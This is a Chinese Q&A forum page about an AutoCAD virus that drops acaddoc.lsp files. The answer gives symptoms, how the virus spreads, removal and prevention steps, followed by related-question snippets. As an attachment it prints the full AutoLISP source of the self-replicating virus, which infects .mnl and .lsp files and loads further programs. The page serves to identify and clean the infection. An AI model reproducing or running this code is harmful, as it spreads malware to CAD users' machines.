cad2004 或者CAD2008每次运行后产生一个acad文件,非常讨厌,如何去掉?

如题所述

是acaddoc.lsp 文件吧,那是CAD中毒了。网上有好多解决的办法——我也曾试过很多,中毒较浅的,可能有效。但是最近这次,我怎么弄都不行了。于是重做系统。——所以平时注意系统的维护,GHOST系统盘及相应的成品安装软件是很重要的。
另外对以外考的图或网下的图,一定要小心。通长通过U盘传播。每次打开外来文件要小心观察,一旦发现有可疑文件生成,当即删除该DWG文件,重启机器。
类似问题,预防为主。
以下为转载,但是我曾经根据本办法也没解决,很是郁闷。
acaddoc病毒处理办法

此文为转载,原作者未明,但感谢原作者.
前言:?下文第一、二、三段无实质内容,可略过不读。
一 病毒简介:
最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。

二 中毒症状:
机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。

三 传播机理:
通过分析病毒的源代码,初步了解其传播机理如下:
如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。
如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。

四 清除步骤:
退出CAD。
全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。
如果本机安装有多个版本的CAD,都需按上述步骤检查一次。

五 预防措施:
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上(360杀毒软件免费的),在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。

附件1: 病毒代码
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)
温馨提示:内容为网友见解,仅供参考
第1个回答  2011-01-12
是右下角那个气泡提示吗?你可以单击右下角那个雷达小图标--设置--将气泡式通知 勾掉。在“检查新内容”选择“在需要时”。
如果提示“现在时间是X点XX分了的哦!好好干哦!党是不会亏待你的!老板的眼睛是雪亮的啦!”等内容说明你中病毒了。上网上找下CAD病毒专杀查杀就行了。本回答被网友采纳
第2个回答  2011-01-12
可以在选项,保存目录下关掉,不过这个有点用处的
第3个回答  2012-06-28
你是不是刚装完系统 下载一个Microsoft_DotNetFXCHS2.0安装后就可以了

...或者CAD2008每次运行后产生一个acad文件,非常讨厌,如何去掉?
全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。...

为什么打开cad2004后,总是生成了acad.vlx
这时,你不要惊慌。关闭CAD后,全盘搜索acad.vlx,将其中的一个acad.vlx文件改名为a.vlx留用,然后把搜索到的acad.vlx全部删除。重新启动CAD,打开那个被破坏的图形文件,在“工具”菜单下“加载应用程序”,选择加载备份的a.vlx文件,在命令行输入re_cover就可以恢复被打乱隐藏的图纸了。所有被破坏的文...

CAD打开速度太慢了,严重影响工作
也可用Unlock在不重启机子的情况下删除三个DLL文件。分析:D版CAD会带了这个广告木马插件,即时删除了,只要一运行CAD就会重新安装插件,所以我们在清除LinkMedia插件后,还必须删除CAD所带的三个广告插件,但是CAD会提示安装不全,要安装,比较烦人,故我们删除三个文件后再建立同名的空文件,以欺骗CAD程...

CAD基础入门知识点
方法3:打开一个CAD文件,把要删的层先关闭,在图面上只留下你需要的可见图形,点文件-另存为,确定文件名,在文件类型栏选*.DXF格式,在弹出的对话窗口中点工具-选项-DXF选项,再在选择对象处打钩,点确定,接着点保存,就可选择保存对象了,把可见或要用的图形选上就可以确定保存了,完成后退出这个刚保存的文件,再打...

CAD2008中的 lsp 病毒 怎么才能清除
lsp病毒一般的杀毒软件应该都能清除的。修改lsp的病毒主要在于清除后,系统的lsp一般不会自动恢复。这个你可以安装一个360安全卫士,使用它的“高级-高级工具集”下的“lsp修复”功能来修复即可。

请教一下,CAD2004打开文件的时候为什么会很卡
原因1 CAD2004版本低,建议你下载CAD2009可能性能会好些(性能问题)原因2 电脑是什么系统,建议你重装系统,或者下载驱动精灵系统更新 原因3 C盘空间太满,导致运行速度慢和电脑疲惫,变得卡了 原因4 病毒在后代攻击导致。建议你杀毒。这4个原因首先要看你的 C盘空间的比例一般要留百分之70的剩余...

谁知道CAD2004的工具的快捷键,比如直线,圆……
当AutoCAD正在运行的时候,我们可以通过命令行的方式,用ACAD.PGP文件里定义的快捷命令来完成一个操作,比如我们要画一条直线,只需要在命令行里输入字母“L”即可。 二、快捷命令的命名规律 1、 快捷命令通常是该命令英文单词的第一个或前面两个字母,有的是前三个字母。 比如,直线(Line)的快捷命令是“L”;复制(...

打开cad2004画直线时找不到帮助文件.acad:chm,为什么?怎么解决...
你可能是用100多m的简化版或绿色版或迷你版安装的,需要一个完好版本才有完好的功能。倡议重新下载一个完好的简体中文版安装,一般帮助文件是在help目录下由多个文件组成。而且也没有acad.chm,有另外的文件名比如acad_aug.chm。参考资料:http:\/\/z.baidu.com\/question\/99662104.html?si=1 同楼上,...

CAD图打开后提示“图形文件无效”(不是版本高低问题)
1.你修复试试。2.让他存个dxf格式的你试试能不能打开。3.打个压缩包发。我碰到过这种问题,比较无奈,应该他的机器中毒了,就是那个acaddoc.lsp的病毒,时间长了中毒深了,他画的图,自己任意打开,别人就有可能打不开,除非另一台电脑也有这种病毒!呵呵~~ 你可以问问他图纸旁边是不是有acaddoc....

cad 做平面图的技巧
15.解决AutoCAD2005不能注册的方法。16.acad.pgp文件的修改17.AUTOCAD中的工具栏不见了怎么办?18.如何关闭CAD中的*BAK文件?19.如何调整AUTOCAD中绘图区左下方显示坐标的框?20.绘图时没有虚线框显示怎么办?21.选取对象时拖动鼠标产生的虚框变为实框且选取后留下两个交叉的点怎么办?22.命令中的对话框变为命令...

相似回答